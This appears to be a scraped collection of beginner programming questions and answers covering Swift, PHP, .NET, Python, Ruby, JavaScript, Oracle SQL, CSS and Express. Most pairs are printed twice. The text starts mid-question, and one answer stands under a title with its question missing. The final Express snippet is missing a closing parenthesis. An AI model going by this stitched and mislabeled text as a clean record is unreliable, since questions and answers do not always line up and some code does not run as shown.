@IBOutlet weak var backgroundImage: UIImageView!

let backgroundImages = //array containing all the images

//random image generator function
func randomImage() {
    index = Int(arc4random_uniform(UInt32(backgroundImages.count)))
    backgroundImage.image = backgroundImages[index]
}
</code>```

Now if I wanted an image view to always display the same background images produced by the randomImage function in a different class (class SecondViewController: UIViewController) for example what would be the best way to get the data from the original view controller? (If you click the right answer button according to the question it proceeds to a new "right answer" view controller that I want to have the same background image as the previous view controller).

答: you can use storyboard segue and share image with prepare statement else you can make instance of second vc and then you need to initialize one image view than you need to set that image view from 1st VC and push that vc.</p>

Body:
So I have an image view in one viewcontroller.swift file that generates a random background image every time the a question is asked (it's a quiz app). When the user get's the answer right I want the random background image produced from the first view controller when the question is asked to be the same background image for the next view controller that displays when the answer is answered correctly. How do I make sure the both background image views displays the same random image every time a question is correctly answered? Here is a snippet of my code that deals with the background image.

class ViewController : UIViewController

@IBOutlet weak var backgroundImage: UIImageView!

let backgroundImages = //array containing all the images

//random image generator function
func randomImage() {
    index = Int(arc4random_uniform(UInt32(backgroundImages.count)))
    backgroundImage.image = backgroundImages[index]
}

Now if I wanted an image view to always display the same background images produced by the randomImage function in a different class (class SecondViewController: UIViewController) for example what would be the best way to get the data from the original view controller? (If you click the right answer button according to the question it proceeds to a new "right answer" view controller that I want to have the same background image as the previous view controller).


答:
You can use explode function for the same.

```<code>$array = array('name - ic','abc - xyz','pqr-stu');
$newArray = array();
foreach($array as $obj):
    $temp = explode('-',$obj);
    $newArray[] = trim($temp[0]);
endforeach;
print_r($newArray);
</code>```

Result

```<code>Array ( [0] => name [1] => abc [2] => pqr )
</code>```

Let me know if it not works.

Title: Remove string start from certain character?

Body:
You can use explode function for the same.

$array = array('name - ic','abc - xyz','pqr-stu');
$newArray = array();
foreach($array as $obj):
    $temp = explode('-',$obj);
    $newArray[] = trim($temp[0]);
endforeach;
print_r($newArray);

Result

Array ( [0] => name [1] => abc [2] => pqr )

Let me know if it not works.


问:
aspnetboilerplate .NET Core SignalR Integration
I am using ABP's .NET Core template now, and have a need for real time notifications.

I read through ABP's documentation on SignalR, and wish to implement it, but when I tried to install the ABP's SignalR package, it complains that it is not compatible with .NET Core.

Is there something I am missing? Thanks.

答:
There is a normal asp.net version of SignalR and the asp.net core version, make sure you're using the correct one.

Edit

Seems the ABP SignalR nuget package only supports the full framework, in which case you should probably reference the asp.net core version from above directly until they update their package to support core.


问:
Python TypeError must be str not int
I am having trouble with the following piece of code:

```<code>    if verb == "stoke":

        if items["furnace"] >= 1:
            print("going to stoke the furnace")

            if items["coal"] >= 1:
                print("successful!")
                temperature += 250
                print("the furnace is now " + (temperature) + "degrees!")
                           ^this line is where the issue is occuring
            else:
                print("you can't")

        else:
            print("you have nothing to stoke")
</code>```

The resulting error comes up as the following:

```<code>    Traceback(most recent call last):
       File "C:\Users\User\Documents\Python\smelting game 0.3.1 build
       incomplete.py"
     , line 227, in <module>
         print("the furnace is now " + (temperature) + "degrees!")
    TypeError: must be str, not int
</code>```

I am unsure what the problem is as i have changed the name from temp to temperature and added the brackets around temperature but still the error occurs.

答:
you need to cast int to str before concatenating. for that use str(temperature). Or you can print the same output using , if you don't want to convert like this.

```<code>print("the furnace is now",temperature , "degrees!")
</code>```

Title: Python TypeError must be str not int

Body:
I am having trouble with the following piece of code:

    if verb == "stoke":

        if items["furnace"] >= 1:
            print("going to stoke the furnace")

            if items["coal"] >= 1:
                print("successful!")
                temperature += 250
                print("the furnace is now " + (temperature) + "degrees!")
                           ^this line is where the issue is occuring
            else:
                print("you can't")

        else:
            print("you have nothing to stoke")

The resulting error comes up as the following:

    Traceback(most recent call last):
       File "C:\Users\User\Documents\Python\smelting game 0.3.1 build
       incomplete.py"
     , line 227, in <module>
         print("the furnace is now " + (temperature) + "degrees!")
    TypeError: must be str, not int

I am unsure what the problem is as i have changed the name from temp to temperature and added the brackets around temperature but still the error occurs.

Body:
you need to cast int to str before concatenating. for that use str(temperature). Or you can print the same output using , if you don't want to convert like this.

print("the furnace is now",temperature , "degrees!")


问:
Calling another ruby file that is not a gem
I want to create a static ruby class with a library of function. I am on Vista with ruby 1.9.2

My class is this one :

```<code>class TestClass

  def say_hello
    puts "say hello"
  end
end
</code>```

in a TestClass.rb file (I assume I am correct as all ruby tutorials on classes are a complete mess putting everything in a single magic something (file?) as if IRB was the begining and the end of all thing).

My ruby main() (yes I come from Java) or program entry or wathever it is called in ruby is :

```<code>require 'TestClass.rb'

puts "start"
say_hello
</code>```

But it fails with :

```<code>C:\ruby_path_with_all_my_classes>ruby classuser.rb
<internal:lib/rubygems/custom_require>:29:in `require': no such file to load --
 TestClass.rb (LoadError)
    from <internal:lib/rubygems/custom_require>:29:in `require'
    from classuser.rb:1:in `<main>'
</code>```

How does it work? Is it possible to call other files in Ruby or are you trapped in only one file containing all your classes?

答:
In 99% of all cases when a computer tells you that it couldn't find a thing, it is because the thing isn't there. So, the first thing you need to check is whether there actually is a file named TestClass.rb somewhere on your filesystem.

In 99% of the rest of the cases, the computer is looking in the wrong place. (Well, actually, the computer is usually looking in the right place, but the thing it is looking for is in the wrong place). require loads a file from the $LOAD_PATH, so you have to make sure that the directory that the file TestClass.rb is in actually is on the $LOAD_PATH.

Alternatively, if you do not want to require a file from the $LOAD_PATH but rather relative to the position of the file that is doing the requireing, then you need to use require_relative.

Note, however, that your code won't work anyway, since say_hello is in instance method of instances of the TestClass class, but you are calling it on the main object, which is an instance of Object, not TestClass.

Note also that standard naming conventions of Ruby files are snake_case, in particular, the snake_case version of the primary class/module of the file. So, in your case, the file should be named test_class.rb. Also, require and require_relative figure out the correct file extension for themselves, so you should leave off the .rb. And thirdly, standard Ruby coding style is two spaces for indentation, not four.

None of these will lead to your code not working, of course, since it is purely stylistic, but it may lead to people being unwilling to answer your questions, since it shows that you don't respect their community enough to learn even the most basic rules.

Body:
I want to create a static ruby class with a library of function. I am on Vista with ruby 1.9.2

My class is this one :

class TestClass

  def say_hello
    puts "say hello"
  end
end

in a TestClass.rb file (I assume I am correct as all ruby tutorials on classes are a complete mess putting everything in a single magic something (file?) as if IRB was the begining and the end of all thing).

My ruby main() (yes I come from Java) or program entry or wathever it is called in ruby is :

require 'TestClass.rb'

puts "start"
say_hello

But it fails with :

C:\ruby_path_with_all_my_classes>ruby classuser.rb
<internal:lib/rubygems/custom_require>:29:in `require': no such file to load --
 TestClass.rb (LoadError)
    from <internal:lib/rubygems/custom_require>:29:in `require'
    from classuser.rb:1:in `'

How does it work? Is it possible to call other files in Ruby or are you trapped in only one file containing all your classes?


问:
code not working despite following exact instructions
I'm new to programming with Javascript, and I am building a simple ping-pong game with the help of a video. I have followed every instruction in the video yet it doesn't seem to be working. ballX is supposed to reset in the middle once it goes past the canvas width, but the X is supposed to reverse if it hits the right paddle.

```<code>if (ballX < 0) {
  if (ballY > paddle1Y &&
    ballY < paddle1Y + paddleHeight) {
    ballXSpeed = -ballXSpeed;
  } else {
    ballReset();
  }
  if (ballX > canvas.width) {
    if (ballY > paddle2Y &&
      ballY < paddleHeight + paddle2Y) {
      ballXSpeed = -ballXSpeed;
    } else {
      ballReset();
    }
  }
}; //ends movement();
</code>```

答:
I think you should correct your if structure to:

```<code>// if ballX is less than 0, expected to use is paddle1
if (ballX < 0) {
  if (ballY > paddle1Y &&
    ballY < paddle1Y + paddleHeight) {
    ballXSpeed = -ballXSpeed;
  } else {
    ballReset();
  }
}
// else if ballX is in the other side of the table, expected to use is paddle2
else if (ballX > canvas.width) {
  if (ballY > paddle2Y &&
    ballY < paddleHeight + paddle2Y) {
    ballXSpeed = -ballXSpeed;
  } else {
    ballReset();
  }
}
</code>```

Your }; was misplaced.

Body:
I'm new to programming with Javascript, and I am building a simple ping-pong game with the help of a video. I have followed every instruction in the video yet it doesn't seem to be working. ballX is supposed to reset in the middle once it goes past the canvas width, but the X is supposed to reverse if it hits the right paddle.

if (ballX < 0) {
  if (ballY > paddle1Y &&
    ballY < paddle1Y + paddleHeight) {
    ballXSpeed = -ballXSpeed;
  } else {
    ballReset();
  }
  if (ballX > canvas.width) {
    if (ballY > paddle2Y &&
      ballY < paddleHeight + paddle2Y) {
      ballXSpeed = -ballXSpeed;
    } else {
      ballReset();
    }
  }
}; //ends movement();

Body:
I think you should correct your if structure to:

// if ballX is less than 0, expected to use is paddle1
if (ballX < 0) {
  if (ballY > paddle1Y &&
    ballY < paddle1Y + paddleHeight) {
    ballXSpeed = -ballXSpeed;
  } else {
    ballReset();
  }
}
// else if ballX is in the other side of the table, expected to use is paddle2
else if (ballX > canvas.width) {
  if (ballY > paddle2Y &&
    ballY < paddleHeight + paddle2Y) {
    ballXSpeed = -ballXSpeed;
  } else {
    ballReset();
  }
}

Your }; was misplaced.


问:
MONTHS_BETWEEN function does not give the expected result
I am using MONTHS_BETWEEN function to get the difference between 2 dates , but the result is not 100% correct i think this function mines 1 day .
i tried  this SQL

```<code> SELECT MONTHS_BETWEEN(TO_DATE('20170630','YYYYMMDD'),
   TO_DATE('20170501','YYYYMMDD') ) "Months"
    FROM DUAL;
</code>```

here in this case it should return 2 but the result is 1.93548387096774
So, Any help ?? or is there any way to add 1 more day to date??

答:
Try

```<code>SELECT ROUND( MONTHS_BETWEEN(
  TO_DATE('20170630','YYYYMMDD'),
  TO_DATE('20170501','YYYYMMDD')))
"Months" FROM DUAL;
</code>```

MONTHS_BETWEEN returns decimal result if days are different and they are not both specify the last day of the month. For more info see http://www.sqlines.com/oracle/functions/months_between

Body:
I am using MONTHS_BETWEEN function to get the difference between 2 dates , but the result is not 100% correct i think this function mines 1 day .
i tried  this SQL

 SELECT MONTHS_BETWEEN(TO_DATE('20170630','YYYYMMDD'),
   TO_DATE('20170501','YYYYMMDD') ) "Months"
    FROM DUAL;

here in this case it should return 2 but the result is 1.93548387096774
So, Any help ?? or is there any way to add 1 more day to date??

Body:
Try

SELECT ROUND( MONTHS_BETWEEN(
  TO_DATE('20170630','YYYYMMDD'),
  TO_DATE('20170501','YYYYMMDD')))
"Months" FROM DUAL;

MONTHS_BETWEEN returns decimal result if days are different and they are not both specify the last day of the month. For more info see http://www.sqlines.com/oracle/functions/months_between


问:
how to reduce the height of the navigation bar in css
I'm trying to reduce the height of my navigation bar.  when I use min-height property, it adds a scrollbar to the navigation bar which makes it not so appealing. I would like to align the logo to the extreme left and the rest of the contents to the extreme right.I have attached the code below. Please help me to fix it.

  .navigation {
      background-color: rgba(15,58,114,0.9);
      overflow-y: auto;
      position: fixed;
      left: 0;
      top: 0;
      text-align: left;
      width: 100%;
      z-index: 10000;
      box-sizing: border-box;
    }
     .log {
     text-align: right;
     top: 0;
     margin: 0 auto;
     right: 0;

     }
         ul {
         padding: 0;
       }
         li {
        color: White;
        display: inline-block;
        font-family: 'Raleway', sans-serif;
        font-size: 18px;
        font-weight: 300;
        margin: 16px 20px;
        text-transform: uppercase;
       }
         li a {
        display: inline-block;
        color: White;
        text-align: Center;
        padding: 14px 16px;
        text-decoraton: none;
       }
        li a:hover {
        background-color: rgba(0,0,0,0);
       }
        #logo {
        color: #FFFFFF;
        font-family: 'Vollkorn';
        font-size: 34px;
        padding: 0px 50px;
        text-align: center;
       }

 ```
<pre class="snippet-code-html lang-html prettyprint-override"><code> <div class="navigation">
    <ul>
       <li id="logo">LOGO</li>
       <div class="log">
       <li>LOGIN</li>
       <li>JOIN WITH US</li>
       </div>
     </ul>
  </div></code>```

答:
made Changes to your HTML and CSS

div with class log is a block level element, means it occupies 100% width of the page, make them display:inline-block and float it to right, make the logo wrap in a div and float it to left. since we are having two float elements navigation bar height gets collapsed to avoid it we need to add clearfix

HTML

```<code> <div class="navigation clearfix">
   <div class="logo"><a href = "#logo">LOGO</a></div>
  <div class="menu">
    <ul>
     <li><a href = "/login.html">LOGIN</a></li>
     <li><a href = "#join">JOIN WITH US</a></li>
   </ul>
   </div>
 </div>
</code>```

CSS

```<code>.navigation {
  background-color: rgba(15,58,114,0.9);
  overflow-y: auto;
  position: fixed;
  left: 0;
  top: 0;
  text-align: left;
  width: 100%;
  z-index: 10000;
  box-sizing: border-box;
}
.logo{
  float:left;
  display:inline-block;
}
.logo a{
  padding:8px 2px;
  color:#fff;
  display:block;
}
.menu{
  float:right;
}
.clearfix::after{
  content:"";
  display:table;
  width:100%;
}
.menu ul{
  padding:0px;
  list-style-type:none;
  margin:0;
}
.menu ul li{
  display:inline-block;
}

.menu ul li a{
  color:#fff;
  padding:8px 2px;
  display:block;
}
</code>```

Link For reference

style accordingly

hope this helps..

Body:
I'm trying to reduce the height of my navigation bar.  when I use min-height property, it adds a scrollbar to the navigation bar which makes it not so appealing. I would like to align the logo to the extreme left and the rest of the contents to the extreme right.I have attached the code below. Please help me to fix it.

  .navigation {
      background-color: rgba(15,58,114,0.9);
      overflow-y: auto;
      position: fixed;
      left: 0;
      top: 0;
      text-align: left;
      width: 100%;
      z-index: 10000;
      box-sizing: border-box;
    }
     .log {
     text-align: right;
     top: 0;
     margin: 0 auto;
     right: 0;

     }
         ul {
         padding: 0;
       }
         li {
        color: White;
        display: inline-block;
        font-family: 'Raleway', sans-serif;
        font-size: 18px;
        font-weight: 300;
        margin: 16px 20px;
        text-transform: uppercase;
       }
         li a {
        display: inline-block;
        color: White;
        text-align: Center;
        padding: 14px 16px;
        text-decoraton: none;
       }
        li a:hover {
        background-color: rgba(0,0,0,0);
       }
        #logo {
        color: #FFFFFF;
        font-family: 'Vollkorn';
        font-size: 34px;
        padding: 0px 50px;
        text-align: center;
       }

LOGO

LOGIN

JOIN WITH US

Body:
made Changes to your HTML and CSS

div with class log is a block level element, means it occupies 100% width of the page, make them display:inline-block and float it to right, make the logo wrap in a div and float it to left. since we are having two float elements navigation bar height gets collapsed to avoid it we need to add clearfix

HTML

 <div class="navigation clearfix">
   <div class="logo"><a href = "#logo">LOGO</a></div>
  <div class="menu">
    <ul>
     <li><a href = "/login.html">LOGIN</a></li>
     <li><a href = "#join">JOIN WITH US</a></li>
   </ul>
   </div>
 </div>

CSS

.navigation {
  background-color: rgba(15,58,114,0.9);
  overflow-y: auto;
  position: fixed;
  left: 0;
  top: 0;
  text-align: left;
  width: 100%;
  z-index: 10000;
  box-sizing: border-box;
}
.logo{
  float:left;
  display:inline-block;
}
.logo a{
  padding:8px 2px;
  color:#fff;
  display:block;
}
.menu{
  float:right;
}
.clearfix::after{
  content:"";
  display:table;
  width:100%;
}
.menu ul{
  padding:0px;
  list-style-type:none;
  margin:0;
}
.menu ul li{
  display:inline-block;
}

.menu ul li a{
  color:#fff;
  padding:8px 2px;
  display:block;
}

Link For reference

style accordingly

hope this helps..


问:
How to use app.locals with .findOne in Mongoose
I want to find the logged in user, and set their info to app.locals so that I can use it in any view.

I'm setting it up in my server.js file like so:

```<code>app.use(ensureAuthenticated, function(req, res, next) {
  User.findOne({ _id: req.session.passport.user }, (err, user) => {
    console.log('user\n', user)
    app.locals.logged_in_user = user;
    next();
  })
});
</code>```

console.log('user\n', user) confirms that the user has been found.
Then, I should be able to use this user's info in any partial, such as in my layout.hbs file like so:

```<code>Currently, {{logged_in_user}} is logged in.
</code>```

But, it's not working.  The answer here suggested to use res.locals instead, but that didn't work.  The example here uses static data, but I need dynamic data since user will depend on who's logged in.

Right now, I have to define the user variable in every route.  Is there a way to globally define a user variable that can be used in any partial?

答:
You're using passport judging from the code. The documentation states the following:

If authentication succeeds, the next handler will be invoked and the req.user property will be set to the authenticated user.

Therefore you can do the following (or however you want to do it):

```<code>app.use((req, res, next) => {
  res.locals.user = req.user
  next()
}
</code>```

This will pass the user object to all requests and the views.

Body:
I want to find the logged in user, and set their info to app.locals so that I can use it in any view.

I'm setting it up in my server.js file like so:

app.use(ensureAuthenticated, function(req, res, next) {
  User.findOne({ _id: req.session.passport.user }, (err, user) => {
    console.log('user\n', user)
    app.locals.logged_in_user = user;
    next();
  })
});

console.log('user\n', user) confirms that the user has been found.
Then, I should be able to use this user's info in any partial, such as in my layout.hbs file like so:

Currently, {{logged_in_user}} is logged in.

But, it's not working.  The answer here suggested to use res.locals instead, but that didn't work.  The example here uses static data, but I need dynamic data since user will depend on who's logged in.

Right now, I have to define the user variable in every route.  Is there a way to globally define a user variable that can be used in any partial?

Body:
You're using passport judging from the code. The documentation states the following:

If authentication succeeds, the next handler will be invoked and the req.user property will be set to the authenticated user.

Therefore you can do the following (or however you want to do it):

app.use((req, res, next) => {
  res.locals.user = req.user
  next()
}

This will pass the user object to all requests and the views.